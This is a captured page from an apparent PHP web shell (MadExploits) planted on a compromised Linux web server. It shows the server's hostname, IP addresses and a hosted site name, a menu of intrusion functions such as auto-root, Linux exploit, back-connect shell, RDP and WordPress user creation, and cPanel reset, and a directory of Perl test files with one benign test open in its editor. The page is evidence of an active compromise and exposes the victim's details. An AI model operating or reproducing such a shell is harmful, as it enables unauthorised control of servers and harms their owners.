Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.23.103.203
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple-0.98 /
t /
subtest /
[ HOME SHELL ]
Name
Size
Permission
Action
args.t
328
B
-rw-r--r--
basic.t
5.19
KB
-rw-r--r--
die.t
531
B
-rw-r--r--
do.t
274
B
-rw-r--r--
exceptions.t
1.81
KB
-rw-r--r--
for_do_t.test
112
B
-rw-r--r--
fork.t
1.22
KB
-rw-r--r--
implicit_done.t
479
B
-rw-r--r--
line_numbers.t
3.59
KB
-rw-r--r--
plan.t
1.34
KB
-rw-r--r--
predicate.t
4.38
KB
-rw-r--r--
singleton.t
712
B
-rw-r--r--
todo.t
5.27
KB
-rw-r--r--
wstat.t
369
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fork.t
#!/usr/bin/perl -w use strict; use warnings; use Config; use IO::Pipe; use Test::Builder; use Test::More; my $Can_Fork = $Config{d_fork} || (($^O eq 'MSWin32' || $^O eq 'NetWare') and $Config{useithreads} and $Config{ccflags} =~ /-DPERL_IMPLICIT_SYS/ ); if( !$Can_Fork ) { plan 'skip_all' => "This system cannot fork"; } else { plan 'tests' => 1; } subtest 'fork within subtest' => sub { plan tests => 2; my $pipe = IO::Pipe->new; my $pid = fork; defined $pid or plan skip_all => "Fork not working"; if ($pid) { $pipe->reader; my $child_output = do { local $/ ; <$pipe> }; waitpid $pid, 0; is $?, 0, 'child exit status'; like $child_output, qr/^[\s#]+Child Done\s*\z/, 'child output'; } else { $pipe->writer; # Force all T::B output into the pipe, for the parent # builder as well as the current subtest builder. no warnings 'redefine'; *Test::Builder::output = sub { $pipe }; *Test::Builder::failure_output = sub { $pipe }; *Test::Builder::todo_output = sub { $pipe }; diag 'Child Done'; exit 0; } };
Close